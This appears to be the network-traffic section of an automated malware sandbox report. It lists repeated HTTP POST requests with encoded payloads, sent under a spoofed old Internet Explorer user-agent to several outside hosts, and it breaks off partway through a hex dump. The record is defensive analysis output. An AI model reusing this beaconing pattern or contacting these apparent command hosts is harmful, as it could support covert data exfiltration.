h4uDBYec5Aye0yyhtrCXQ1AABFF9P3gsq2iC/D4JFKm8soYoHhqFrfYbyRV7QaflQNn7gQIFB8b/z8e7qUJZGhJhw7tQj15pQ9CxnIbGsYAnS3H8qFSleKxXaLqXrIzGxbdYVsg6/Uzgcm1AnIFKGZIqXYPlnRWBu+hiF2SsmNTjldfWBP3UMrc0Q/uVN0GhoNLg/S7BITdXHhwCZ/zDvfTjKbzJ4PIH1b5AWMmYFZSVXy6oCQDkk4JYj/Z3B5Olzf1L9h3JtLig818I9rtj8JqEfJcXEFOkdfHUOGZMlnxW7XQSG0aKJiCFA137GFuUwi+SBT3bSzuK+irdIfVWfiHtljlbj0SAGdTkREw0vw/RGaj+dS+AegV6KgAXxiKo9rBbv2zbJ3gBEU+2FQ3jtOBliP4LfJ1MD8NDLhTLtLOPj4ekG6A2wcXEVg17OapmdC6YkUjgfc6mDWisDxhv6rJ8xVN148zfE3niRO4ehDStqiH9L0htO/hHMK8kmYHeRq2R9Xd3AivQQN9oqNVASeBcPFmtZS0cbHHnOvRZp6qjENZZ7uusPRfv5XxbVmg+aB6r
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.t-tre.comCache-Control: no-cacheData Raw: 63 7a 69 61 6b 30 48 61 2b 51 7a 59 78 4e 6d 64 49 4f 35 74 77 68 71 59 36 44 65 2f 34 45 6a 4e 42 54 30 6e 36 71 4a 57 70 54 72 39 63 64 4b 75 63 56 7a 71 31 6b 46 43 56 58 67 51 68 32 76 59 6f 55 76 34 6c 37 6a 61 66 2b 4b 46 6b 6e 58 78 38 2b 31 43 61 38 78 39 63 34 55 78 7a 34 41 51 41 42 6d 38 45 55 37 49 37 53 58 30 64 37 65 39 4e 55 35 4e 33 48 31 61 6a 69 31 67 41 74 51 7a 63 61 6f 56 51 32 59 39 65 6c 71 6b 39 4a 55 6e 7a 58 43 55 56 56 57 5a 68 6b 68 64 67 74 4e 42 2f 37 54 52 70 73 62 36 6f 68 57 2b 63 39 69 61 46 56 43 43 32 49 67 6f 6d 79 35 58 57 5a 41 69 4a 51 54 65 4c 43 4e 76 53 72 77 74 35 4a 42 38 43 38 65 77 2b 4b 31 48 6d 61 53 45 48 43 45 56 30 4f 55 70 63 42 71 30 42 79 73 68 5a 4f 47 42 61 69 5a 59 6d 36 77 53 69 70 42 37 56 30 4c 67 64 6f 55 2f 54 61 46 61 37 4b 74 79 5a 6b 4c 30 33 49 54 49 66 51 6d 35 38 55 44 38 69 2b 4e 74 66 4b 57 32 6f 2f 63 6c 36 69 56 50 79 52 48 76 32 31 38 47 54 41 7a 35 42 53 6a 35 46 46 45 6a 46 68 45 6b 50 71 66 2f 64 63 4f 64 68 49 5a 42 33 36 5a 66 58 6b 79 4a 53 6f 61 5a 4f 2b 31 47 74 6a 41 4c 41 6f 75 6f 30 46 75 32 65 43 48 31 45 4f 4b 30 55 55 75 62 30 41 33 39 77 47 4e 37 63 67 59 47 53 77 44 56 37 49 4e 33 76 2f 62 6f 55 57 61 43 5a 2b 79 58 36 30 66 42 59 38 55 78 6f 2b 42 46 52 74 56 7a 52 78 62 70 64 36 74 43 62 44 51 6d 6d 7a 77 4a 6e 76 32 71 67 4d 65 72 4a 37 72 65 71 59 66 77 77 7a 77 52 2b 36 58 78 61 4b 51 66 41 30 78 49 37 64 64 79 30 70 6c 53 2f 64 33 55 4f 4c 47 4d 37 33 63 2b 65 62 42 6c 62 4f 36 54 55 4b 56 5a 4c 72 75 41 4b 4b 53 43 69 5a 59 58 6e 67 7a 46 62 4e 2b 68 69 5a 4c 41 41 6e 6a 58 6f 74 76 42 33 61 30 4c 64 69 6d 77 42 61 36 34 68 4b 69 31 68 66 73 6c 64 6c 7a 6c 49 53 45 3d Data Ascii: cziak0Ha+QzYxNmdIO5twhqY6De/4EjNBT0n6qJWpTr9cdKucVzq1kFCVXgQh2vYoUv4l7jaf+KFknXx8+1Ca8x9c4Uxz4AQABm8EU7I7SX0d7e9NU5N3H1aji1gAtQzcaoVQ2Y9elqk9JUnzXCUVVWZhkhdgtNB/7TRpsb6ohW+c9iaFVCC2Igomy5XWZAiJQTeLCNvSrwt5JB8C8ew+K1HmaSEHCEV0OUpcBq0ByshZOGBaiZYm6wSipB7V0LgdoU/TaFa7KtyZkL03ITIfQm58UD8i+NtfKW2o/cl6iVPyRHv218GTAz5BSj5FFEjFhEkPqf/dcOdhIZB36ZfXkyJSoaZO+1GtjALAouo0Fu2eCH1EOK0UUub0A39wGN7cgYGSwDV7IN3v/boUWaCZ+yX60fBY8Uxo+BFRtVzRxbpd6tCbDQmmzwJnv2qgMerJ7reqYfwwzwR+6XxaKQfA0xI7ddy0plS/d3UOLGM73c+ebBlbO6TUKVZLruAKKSCiZYXngzFbN+hiZLAAnjXotvB3a0LdimwBa64hKi1hfsldlzlISE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vexcom.comCache-Control: no-cacheData Raw: 42 39 68 64 6d 70 39 50 6c 67 7a 32 4c 4d 78 70 2f 6c 68 52 69 69 6a 66 37 30 35 31 37 4c 78 70 51 30 45 62 70 7a 43 41 4f 75 7a 68 4d 43 63 6a 41 42 33 66 6f 2b 77 61 32 42 4d 35 67 41 45 6a 37 78 42 62 47 79 48 35 72 71 45 65 6f 72 6c 77 63 4a 63 70 6e 57 48 78 45 77 50 2f 68 64 4a 34 7a 6a 43 69 72 73 45 78 37 66 70 72 44 33 53 41 6a 50 67 6b 74 53 47 61 2f 30 59 58 77 5a 65 54 32 73 58 61 49 69 71 62 31 55 43 58 64 48 74 30 7a 30 33 74 59 4e 6b 54 77 4b 75 57 67 47 42 68 6e 77 45 43 54 61 6e 53 65 4d 66 7a 65 31 30 4a 33 50 44 32 4e 49 76 62 4e 4b 47 30 35 33 6f 69 33 6c 58 6f 36 78 79 57 51 4a 6e 4d 66 2f 52 62 4e 37 75 6f 6b 33 48 51 79 38 30 74 58 6e 30 51 4a 63 45 44 57 4b 38 55 59 4c 59 2b 74 4b 74 65 65 4a 65 68 55 4b 76 75 54 73 46 66 52 4b 4a 67 4f 2f 62 76 57 57 6a 55 43 5a 58 5a 41 6c 47 73 5a 33 58 4d 6a 63 44 56 75 39 70 74 35 59 74 31 42 6b 49 59 71 4d 6b 35 6e 77 79 63 5a 45 46 69 32 39 67 41 37 36 6b 74 5a 31 74 6a 70 4c 61 49 43 74 38 54 54 37 4b 46 63 79 69 6a 49 50 77 73 6e 4d 57 56 33 4e 58 6c 50 79 62 66 7a 30 63 4d 52 31 6d 69 67 57 66 2b 38 50 43 6c 55 6f 35 61 39 53 67 41 56 79 6c 6c 54 70 59 54 4a 69 41 66 4b 4c 72 39 62 66 53 78 59 4b 7a 45 57 69 31 61 70 74 50 57 41 67 72 72 5a 4e 57 4a 56 61 70 44 2b 47 36 7a 45 51 6b 76 55 69 41 54 6b 41 52 6c 50 6e 54 4a 7a 30 58 59 31 41 56 64 38 51 6d 5a 59 6e 41 33 79 39 2b 6e 74 4f 6e 46 47 66 58 4e 43 74 44 34 75 31 78 39 45 51 61 51 59 6b 76 6b 62 44 4e 6c 39 4f 45 32 71 4b 34 37 79 50 5a 70 67 48 6e 62 6b 62 73 38 61 50 76 53 69 52 47 35 73 54 46 6a 4b 42 48 54 33 32 46 49 35 6b 48 66 2b 50 63 4d 38 65 67 51 68 71 63 62 63 76 73 48 6d 6e 55 59 56 4a 41 78 70 49 62 34 32 52 55 3d Data Ascii: B9hdmp9Plgz2LMxp/lhRiijf70517LxpQ0EbpzCAOuzhMCcjAB3fo+wa2BM5gAEj7xBbGyH5rqEeorlwcJcpnWHxEwP/hdJ4zjCirsEx7fprD3SAjPgktSGa/0YXwZeT2sXaIiqb1UCXdHt0z03tYNkTwKuWgGBhnwECTanSeMfze10J3PD2NIvbNKG053oi3lXo6xyWQJnMf/RbN7uok3HQy80tXn0QJcEDWK8UYLY+tKteeJehUKvuTsFfRKJgO/bvWWjUCZXZAlGsZ3XMjcDVu9pt5Yt1BkIYqMk5nwycZEFi29gA76ktZ1tjpLaICt8TT7KFcyijIPwsnMWV3NXlPybfz0cMR1migWf+8PClUo5a9SgAVyllTpYTJiAfKLr9bfSxYKzEWi1aptPWAgrrZNWJVapD+G6zEQkvUiATkARlPnTJz0XY1AVd8QmZYnA3y9+ntOnFGfXNCtD4u1x9EQaQYkvkbDNl9OE2qK47yPZpgHnbkbs8aPvSiRG5sTFjKBHT32FI5kHf+PcM8egQhqcbcvsHmnUYVJAxpIb42RU=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sjbs.orgCache-Control: no-cacheData Raw: 77 54 53 4c 63 73 53 36 6b 46 64 33 47 76 6e 64 33 34 64 57 6c 70 66 6d 32 59 2f 38 4f 6a 6d 75 4f 46 77 64 42 7a 38 68 75 70 49 52 70 31 4e 7a 4c 4c 62 2f 66 6a 79 65 71 52 62 38 45 74 47 2b 41 46 41 4e 6d 66 70 56 61 61 74 77 4f 2f 6d 55 59 61 7a 55 66 63 64 54 6e 43 4f 61 62 35 45 6b 61 31 55 2f 31 4a 4e 2f 53 2b 2f 78 50 4d 47 38 30 65 52 50 78 72 6e 2b 38 77 2f 6e 39 79 5a 4b 78 56 71 31 63 34 4f 76 58 45 76 47 66 73 42 78 6d 63 46 36 4f 72 46 69 52 37 41 4b 53 70 4f 4f 33 46 61 31 4b 36 6e 72 4c 39 30 31 32 43 39 41 46 69 41 55 6f 61 33 5a 59 74 30 50 77 79 64 7a 68 42 4a 62 2f 6a 55 37 72 50 32 2b 37 32 56 43 75 50 51 4e 59 67 4c 62 66 58 45 57 6b 41 2b 55 47 69 4c 33 53 4a 79 78 38 56 51 71 6b 44 4e 71 59 2f 30 76 54 72 6a 6b 32 4f 74 52 55 6a 6a 39 5a 70 50 35 73 70 37 38 61 4c 36 4f 57 66 76 6b 44 38 6e 75 6f 64 78 76 35 30 5a 62 4c 65 64 66 78 78 62 34 72 53 70 77 4f 54 61 37 59 77 4d 45 6b 66 2b 61 63 70 6e 62 4c 54 75 4e 2f 73 6f 77 46 64 50 44 39 31 53 33 33 65 62 79 51 4d 71 61 4c 78 56 52 51 37 65 31 4f 6d 7a 4c 57 64 39 43 46 30 4a 52 76 4a 74 69 38 64 61 7a 6a 68 6a 46 5a 6f 32 6d 45 52 53 4e 52 63 34 33 75 30 47 4f 50 34 32 44 51 34 46 77 2b 72 4c 2f 62 30 70 38 53 47 32 47 50 78 57 71 35 5a 79 2f 45 78 6b 4b 78 30 38 47 65 50 44 36 41 41 62 57 31 6f 65 4c 41 6b 64 50 4d 76 61 30 71 66 6d 6c 30 57 6d 72 54 47 73 65 33 67 36 53 75 4b 75 70 4e 38 63 53 53 6c 33 6c 70 72 66 47 43 56 61 35 71 6c 55 61 74 37 67 47 66 67 51 78 45 63 50 30 5a 4d 63 34 66 6c 30 35 42 75 33 71 73 74 64 44 70 4e 67 31 5a 56 69 77 63 72 34 71 77 4f 63 6b 36 4b 56 59 33 51 6a 64 77 2b 64 61 61 68 50 6e 64 51 73 47 44 30 72 65 49 64 51 52 76 77 73 45 78 67 4f 6a 70 31 31 2f 4f 41 39 62 55 4b 6c 44 6d 66 44 75 39 6d 71 50 33 69 36 2b 5a 4b 57 71 4c 51 39 41 Data Ascii: wTSLcsS6kFd3Gvnd34dWlpfm2Y/8OjmuOFwdBz8hupIRp1NzLLb/fjyeqRb8EtG+AFANmfpVaatwO/mUYazUfcdTnCOab5Eka1U/1JN/S+/xPMG80eRPxrn+8w/n9yZKxVq1c4OvXEvGfsBxmcF6OrFiR7AKSpOO3Fa1K6nrL9012C9AFiAUoa3ZYt0PwydzhBJb/jU7rP2+72VCuPQNYgLbfXEWkA+UGiL3SJyx8VQqkDNqY/0vTrjk2OtRUjj9ZpP5sp78aL6OWfvkD8nuodxv50ZbLedfxxb4rSpwOTa7YwMEkf+acpnbLTuN/sowFdPD91S33ebyQMqaLxVRQ7e1OmzLWd9CF0JRvJti8dazjhjFZo2mERSNRc43u0GOP42DQ4Fw+rL/b0p8SG2GPxWq5Zy/ExkKx08GePD6AAbW1oeLAkdPMva0qfml0WmrTGse3g6SuKupN8cSSl3lprfGCVa5qlUat7gGfgQxEcP0ZMc4fl05Bu3qstdDpNg1ZViwcr4qwOck6KVY3Qjdw+daahPndQsGD0reIdQRvwsExgOjp11/OA9bUKlDmfDu9mqP3i6+ZKWqLQ9A
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.xaicom.esCache-Control: no-cacheData Raw: 49 31 65 4b 32 38 7a 51 44 41 33 68 74 2b 53 2b 4e 39 55 79 5a 64 39 4e 62 34 43 6b 48 5a 62 6f 77 41 34 50 66 43 6f 53 53 71 47 48 62 64 33 47 66 66 57 36 75 50 52 72 63 6b 50 51 66 62 70 62 5a 52 56 37 33 37 50 68 52 68 4b 43 62 34 41 69 61 51 36 46 45 6a 6c 33 36 53 45 7a 58 4d 59 42 79 49 6c 4e 30 5a 44 45 61 75 41 67 32 4e 4f 65 39 74 37 47 66 64 54 78 49 64 57 38 47 43 63 71 47 74 4a 4c 6e 71 46 34 64 74 41 73 50 36 2f 50 67 61 73 4c 37 4c 6a 4e 4b 50 67 5a 2b 32 34 53 79 6d 39 54 70 6b 44 46 67 78 36 35 6c 72 45 45 76 30 74 62 4c 56 51 6f 48 43 7a 36 50 4c 35 43 67 50 4f 34 4e 68 52 65 34 74 73 30 37 63 71 4c 31 62 6e 35 4e 4a 6c 72 31 39 4d 33 2b 42 65 2f 71 75 39 53 30 67 51 4a 55 6c 4c 6c 62 2f 32 37 6b 36 49 58 39 49 6a 51 4a 4f 44 62 68 44 39 6d 43 69 71 6c 48 2b 61 58 6a 61 6f 6c 78 58 68 59 53 4c 58 76 6a 33 57 45 72 30 70 4a 6d 67 6d 36 74 37 46 6c 69 44 50 74 7a 2b 4a 4b 50 62 4a 53 76 61 50 44 5a 44 6d 76 51 6c 4d 51 58 72 5a 47 46 4d 45 52 4b 4c 41 74 31 46 68 51 31 56 73 71 31 2b 42 75 79 75 76 6e 4d 37 68 6b 79 61 50 55 57 59 49 48 75 63 2f 34 31 63 62 4e 6a 75 4c 53 6a 65 36 66 41 75 49 66 79 42 63 59 34 5a 45 57 31 41 32 61 53 57 47 54 44 73 55 32 2f 49 2f 45 43 36 5a 72 52 30 6c 4e 6d 67 39 73 46 59 6b 35 51 47 77 48 67 50 70 75 61 74 63 4c 72 33 32 51 6d 5a 5a 68 37 61 34 4b 44 33 77 63 61 62 4c 6d 52 67 32 30 54 45 63 4a 57 53 6b 75 30 59 74 31 64 52 57 31 30 54 46 54 53 6c 57 50 6f 51 31 6d 52 6b 2b 74 30 4d 30 34 4d 58 66 47 68 4f 78 72 6c 58 58 6a 53 74 57 64 48 76 50 74 6f 74 2f 4e 6f 4c 4e 73 74 37 32 5a 4e 41 4a 53 64 58 4c 39 61 75 50 4c 76 33 42 35 51 2b 70 61 37 4c 4f 67 61 34 62 79 4d 32 55 39 33 72 56 72 68 4e 52 41 58 56 48 6c 32 38 38 3d Data Ascii: I1eK28zQDA3ht+S+N9UyZd9Nb4CkHZbowA4PfCoSSqGHbd3GffW6uPRrckPQfbpbZRV737PhRhKCb4AiaQ6FEjl36SEzXMYByIlN0ZDEauAg2NOe9t7GfdTxIdW8GCcqGtJLnqF4dtAsP6/PgasL7LjNKPgZ+24Sym9TpkDFgx65lrEEv0tbLVQoHCz6PL5CgPO4NhRe4ts07cqL1bn5NJlr19M3+Be/qu9S0gQJUlLlb/27k6IX9IjQJODbhD9mCiqlH+aXjaolxXhYSLXvj3WEr0pJmgm6t7FliDPtz+JKPbJSvaPDZDmvQlMQXrZGFMERKLAt1FhQ1Vsq1+BuyuvnM7hkyaPUWYIHuc/41cbNjuLSje6fAuIfyBcY4ZEW1A2aSWGTDsU2/I/EC6ZrR0lNmg9sFYk5QGwHgPpuatcLr32QmZZh7a4KD3wcabLmRg20TEcJWSku0Yt1dRW10TFTSlWPoQ1mRk+t0M04MXfGhOxrlXXjStWdHvPtot/NoLNst72ZNAJSdXL9auPLv3B5Q+pa7LOga4byM2U93rVrhNRAXVHl288=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.t-tre.comCache-Control: no-cacheData Raw: 2b 50 4c 47 53 50 61 72 45 6c 65 5a 2b 76 54 38 55 62 4c 72 34 35 6b 55 51 44 41 57 77 59 68 74 69 68 66 39 77 70 7a 72 57 47 74 2f 6e 2b 52 77 4f 2b 5a 54 69 5a 57 30 30 42 39 32 49 4c 69 30 57 76 39 78 78 57 6a 6e 72 69 34 2f 78 6b 2b 4e 73 6d 47 68 59 43 7a 78 45 41 36 58 7a 65 33 72 46 47 4b 71 56 4e 38 75 63 70 4c 76 2f 78 65 4d 6b 43 4a 62 42 78 68 59 7a 38 44 6d 78 78 76 4f 37 42 75 61 65 39 5a 55 6a 6b 34 57 79 57 79 36 63 33 45 72 39 71 50 65 6c 52 33 2f 37 4b 64 62 74 4c 4d 61 52 32 52 44 2b 75 6e 67 70 51 65 6d 7a 6a 4b 6c 30 59 57 41 44 33 52 6b 66 33 77 79 4d 69 38 36 55 51 5a 35 66 4b 44 57 42 63 76 71 37 58 36 4e 38 5a 35 34 69 4e 53 36 41 65 39 4f 54 64 37 37 35 4e 33 6a 48 4f 4a 71 30 70 4e 34 6e 35 63 6e 59 58 47 56 51 7a 51 74 44 76 63 5a 6e 57 46 55 4f 4f 6d 63 53 4a 30 4e 77 51 42 7a 6c 72 62 65 56 36 49 56 2f 78 67 49 33 64 74 74 35 4a 62 6e 62 43 49 35 78 4e 72 71 53 6c 63 48 4d 38 76 65 4f 49 62 78 58 34 4e 63 32 6f 49 38 45 37 62 52 37 35 6a 32 49 38 68 79 30 49 36 65 72 42 7a 4c 50 62 66 56 44 31 55 38 4e 64 34 56 6f 61 47 53 74 73 36 50 6c 54 46 52 53 70 33 65 65 6f 55 78 76 38 71 52 6c 39 75 54 41 51 47 73 49 54 4c 48 6f 73 74 78 74 50 77 41 36 6e 6a 62 33 6a 31 36 6a 52 4c 33 2b 5a 61 50 42 79 73 43 64 6d 50 65 43 78 65 67 50 78 74 4a 7a 6f 6d 48 65 68 43 72 75 77 42 58 47 50 46 51 7a 75 7a 37 39 72 75 63 79 42 45 61 4e 4b 43 34 35 78 70 4e 67 5a 59 7a 50 6d 61 51 4b 4a 42 34 72 43 61 6e 45 61 34 31 56 79 31 4f 45 78 52 66 36 58 36 4e 34 2b 34 6b 6c 48 74 53 63 69 33 7a 57 67 76 42 38 35 31 51 4c 49 30 72 6e 45 46 45 37 71 47 33 51 50 57 61 65 61 79 48 49 54 7a 59 36 48 52 63 7a 4d 52 35 57 67 3d 3d Data Ascii: +PLGSParEleZ+vT8UbLr45kUQDAWwYhtihf9wpzrWGt/n+RwO+ZTiZW00B92ILi0Wv9xxWjnri4/xk+NsmGhYCzxEA6Xze3rFGKqVN8ucpLv/xeMkCJbBxhYz8DmxxvO7Buae9ZUjk4WyWy6c3Er9qPelR3/7KdbtLMaR2RD+ungpQemzjKl0YWAD3Rkf3wyMi86UQZ5fKDWBcvq7X6N8Z54iNS6Ae9OTd775N3jHOJq0pN4n5cnYXGVQzQtDvcZnWFUOOmcSJ0NwQBzlrbeV6IV/xgI3dtt5JbnbCI5xNrqSlcHM8veOIbxX4Nc2oI8E7bR75j2I8hy0I6erBzLPbfVD1U8Nd4VoaGSts6PlTFRSp3eeoUxv8qRl9uTAQGsITLHostxtPwA6njb3j16jRL3+ZaPBysCdmPeCxegPxtJzomHehCruwBXGPFQzuz79rucyBEaNKC45xpNgZYzPmaQKJB4rCanEa41Vy1OExRf6X6N4+4klHtSci3zWgvB851QLI0rnEFE7qG3QPWaeayHITzY6HRczMR5Wg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.edimart.huCache-Control: no-cacheData Raw: 4b 53 39 76 72 36 70 52 48 6c 63 62 51 56 66 2b 6a 64 55 63 74 32 30 6f 33 64 4c 61 53 68 30 31 66 6c 34 76 38 72 61 58 41 30 33 63 53 78 69 59 6f 72 49 41 50 6b 68 52 37 73 4c 36 42 58 41 44 63 2b 41 62 51 78 2b 45 32 56 68 62 6e 64 62 63 37 43 70 5a 46 5a 79 67 49 43 46 63 71 55 79 36 70 55 31 4d 49 65 72 44 79 37 37 66 7a 2b 55 6d 39 36 31 75 79 4e 4c 6e 4b 78 47 6c 7a 7a 77 69 2f 64 6e 72 33 49 53 72 6f 6c 75 67 66 4c 65 55 6c 7a 62 4b 4b 6a 47 38 71 78 6b 62 67 59 5a 5a 75 39 4b 73 45 41 4b 75 49 59 35 5a 61 51 76 58 35 69 53 6e 4a 51 4a 4b 6a 77 2f 30 64 68 31 53 4c 63 77 45 6e 32 41 6c 69 55 78 48 71 34 79 46 36 61 41 67 4d 45 62 51 6f 33 6f 45 4e 5a 63 69 6b 59 71 78 31 52 38 69 71 6a 74 49 55 68 58 36 62 71 30 46 4c 53 6f 38 50 67 4d 47 56 31 66 32 7a 66 77 6a 61 37 38 36 4f 38 36 66 53 51 4a 78 69 63 39 46 79 38 65 4b 55 66 50 70 77 6d 31 48 62 4f 50 42 68 59 43 64 32 75 4b 4b 6f 46 2f 78 44 78 54 50 73 37 46 30 2f 35 33 51 39 44 53 62 70 65 47 6c 6d 77 65 77 56 70 4c 70 7a 63 6f 65 51 79 67 78 39 6e 68 37 55 38 52 61 50 2b 55 53 75 2b 2f 41 6e 4e 74 74 46 4d 50 6d 61 64 74 46 2b 55 33 70 41 6c 62 6b 59 6b 78 46 56 45 66 79 75 63 45 6d 66 79 63 39 4d 61 62 38 32 65 66 65 75 30 44 58 52 52 43 59 48 79 58 4c 42 52 51 6f 50 30 59 31 2f 42 5a 62 55 72 32 62 6d 51 42 68 36 57 35 4a 5a 5a 4f 45 41 62 32 6c 35 34 37 44 43 57 2f 73 43 33 50 47 53 39 4c 73 6a 43 46 77 4d 50 30 6a 62 39 70 66 75 46 6a 59 4e 55 32 39 6d 45 7a 6b 36 48 78 79 7a 35 67 38 42 67 6d 72 66 52 38 5a 32 50 7a 43 72 62 46 51 2f 34 6a 30 7a 31 2b 78 44 37 4c 36 5a 52 64 32 69 59 43 77 6a 47 49 36 66 31 32 70 5a 6c 76 41 6e 64 7a 2f 72 46 36 65 71 56 47 49 Data Ascii: KS9vr6pRHlcbQVf+jdUct20o3dLaSh01fl4v8raXA03cSxiYorIAPkhR7sL6BXADc+AbQx+E2Vhbndbc7CpZFZygICFcqUy6pU1MIerDy77fz+Um961uyNLnKxGlzzwi/dnr3ISrolugfLeUlzbKKjG8qxkbgYZZu9KsEAKuIY5ZaQvX5iSnJQJKjw/0dh1SLcwEn2AliUxHq4yF6aAgMEbQo3oENZcikYqx1R8iqjtIUhX6bq0FLSo8PgMGV1f2zfwja786O86fSQJxic9Fy8eKUfPpwm1HbOPBhYCd2uKKoF/xDxTPs7F0/53Q9DSbpeGlmwewVpLpzcoeQygx9nh7U8RaP+USu+/AnNttFMPmadtF+U3pAlbkYkxFVEfyucEmfyc9Mab82efeu0DXRRCYHyXLBRQoP0Y1/BZbUr2bmQBh6W5JZZOEAb2l547DCW/sC3PGS9LsjCFwMP0jb9pfuFjYNU29mEzk6Hxyz5g8BgmrfR8Z2PzCrbFQ/4j0z1+xD7L6ZRd2iYCwjGI6f12pZlvAndz/rF6eqVGI
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.gpthink.comCache-Control: no-cacheData Raw: 43 37 4c 43 72 67 44 39 47 77 33 6f 47 30 41 76 30 38 79 6f 77 6a 4d 73 74 6c 58 6f 58 2f 6d 76 4e 41 51 65 37 73 6a 6a 2b 69 6d 71 62 38 38 58 75 61 50 31 65 42 68 54 30 5a 58 57 47 66 63 2b 57 6e 55 6c 6f 66 37 42 44 2f 55 30 4f 35 36 75 6b 36 4a 44 6b 62 6a 2b 32 63 78 54 6c 51 53 48 6d 39 5a 72 4a 41 69 32 39 35 62 6b 58 2b 4a 79 4b 79 35 68 68 71 46 6d 51 32 6d 4a 2b 2f 49 4b 73 57 33 66 62 6e 70 41 73 65 4e 52 52 71 56 56 63 77 36 71 62 4c 34 47 65 50 31 54 44 30 6a 38 37 48 64 65 34 2f 49 41 53 45 65 39 76 4b 48 70 58 4a 4e 4c 41 4a 4f 63 4a 6d 6f 75 43 6f 4c 4b 77 4c 50 2f 4d 6a 70 49 38 2f 31 6d 4c 4e 32 79 6c 45 61 57 62 6c 33 35 33 5a 72 79 31 56 73 4f 6c 4f 32 50 4c 59 69 37 43 33 2f 53 7a 71 6d 71 51 42 6f 34 59 64 44 31 41 65 74 75 74 69 6e 35 70 71 4e 73 54 4c 77 55 58 70 6f 44 57 6a 46 55 31 4f 68 6a 5a 36 31 33 48 2f 6b 4e 6a 72 54 5a 55 62 50 65 79 53 49 49 6f 66 6b 39 2f 39 54 49 50 71 74 54 65 33 70 41 4e 73 55 67 78 4b 64 32 52 34 6e 76 66 57 4b 63 67 50 64 4e 78 52 64 47 48 2b 7a 42 74 52 63 54 4a 56 67 38 75 75 67 44 51 59 49 6d 67 70 69 56 30 59 4e 50 30 6e 53 76 64 7a 65 4c 64 52 50 55 38 69 4a 39 2f 50 32 6f 48 71 4e 54 45 46 38 37 64 2b 4a 79 55 68 35 53 44 49 6a 33 5a 55 4f 47 75 54 74 33 50 41 34 51 31 2b 47 62 6f 50 39 77 43 70 39 4b 41 4e 33 78 38 59 32 6b 48 42 4c 67 33 6b 33 50 67 6a 30 6b 4e 68 34 78 4c 49 32 68 68 69 78 5a 2b 53 4e 38 62 57 41 55 78 45 4c 6a 70 49 4b 55 79 56 4b 2f 36 62 37 64 4c 43 2f 70 66 36 54 75 76 76 54 79 61 4a 53 6e 77 36 75 77 7a 6b 58 70 57 6c 5a 37 50 65 49 51 70 42 39 36 66 46 4d 32 41 55 59 35 72 79 6d 2b 33 42 31 37 2f 6d 53 6c 4f 44 6d 63 64 52 44 79 4c 70 66 6e 66 49 6c 73 46 51 5a 77 31 63 74 56 4b 36 56 67 2f 50 4d 71 71 65 53 51 48 64 67 2f 71 66 63 4d 44 37 74 34 6e 77 3d 3d Data Ascii: C7LCrgD9Gw3oG0Av08yowjMstlXoX/mvNAQe7sjj+imqb88XuaP1eBhT0ZXWGfc+WnUlof7BD/U0O56uk6JDkbj+2cxTlQSHm9ZrJAi295bkX+JyKy5hhqFmQ2mJ+/IKsW3fbnpAseNRRqVVcw6qbL4GeP1TD0j87Hde4/IASEe9vKHpXJNLAJOcJmouCoLKwLP/MjpI8/1mLN2ylEaWbl353Zry1VsOlO2PLYi7C3/SzqmqQBo4YdD1Aetutin5pqNsTLwUXpoDWjFU1OhjZ613H/kNjrTZUbPeySIIofk9/9TIPqtTe3pANsUgxKd2R4nvfWKcgPdNxRdGH+zBtRcTJVg8uugDQYImgpiV0YNP0nSvdzeLdRPU8iJ9/P2oHqNTEF87d+JyUh5SDIj3ZUOGuTt3PA4Q1+GboP9wCp9KAN3x8Y2kHBLg3k3Pgj0kNh4xLI2hhixZ+SN8bWAUxELjpIKUyVK/6b7dLC/pf6TuvvTyaJSnw6uwzkXpWlZ7PeIQpB96fFM2AUY5rym+3B17/mSlODmcdRDyLpfnfIlsFQZw1ctVK6Vg/PMqqeSQHdg/qfcMD7t4nw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.waldi.plCache-Control: no-cacheData Raw: 69 4b 54 70 67 50 49 69 71 6c 65 42 4d 50 63 63 4a 53 57 68 34 2f 55 77 49 4b 37 43 71 54 4c 69 52 74 68 42 33 72 77 49 53 4a 78 7a 59 65 4d 76 4d 38 5a 30 4b 72 33 73 6a 6c 6c 61 57 61 61 57 49 37 72 36 58 5a 4e 61 56 69 6f 72 58 5a 75 63 67 4d 6a 6f 59 5a 51 69 72 4d 69 39 70 2b 4f 72 73 77 65 44 69 32 48 4a 55 41 42 59 57 46 64 70 43 62 5a 47 2b 56 4e 31 33 43 2f 65 4e 50 73 59 6b 67 70 37 44 32 4d 47 71 73 71 46 61 39 51 58 2f 6b 2b 4b 77 59 34 64 4c 73 72 49 65 73 57 30 78 75 57 2b 70 2b 6d 46 2b 65 72 61 4d 30 79 61 6f 4c 7a 39 74 76 62 63 31 6a 32 66 63 62 44 37 78 62 67 77 37 75 71 6f 53 7a 63 6a 78 78 46 6a 4d 78 6c 75 4c 46 61 71 37 34 64 36 64 76 39 6e 6e 55 46 68 67 38 6b 65 79 5a 67 68 6e 66 39 72 63 44 45 4d 4a 4b 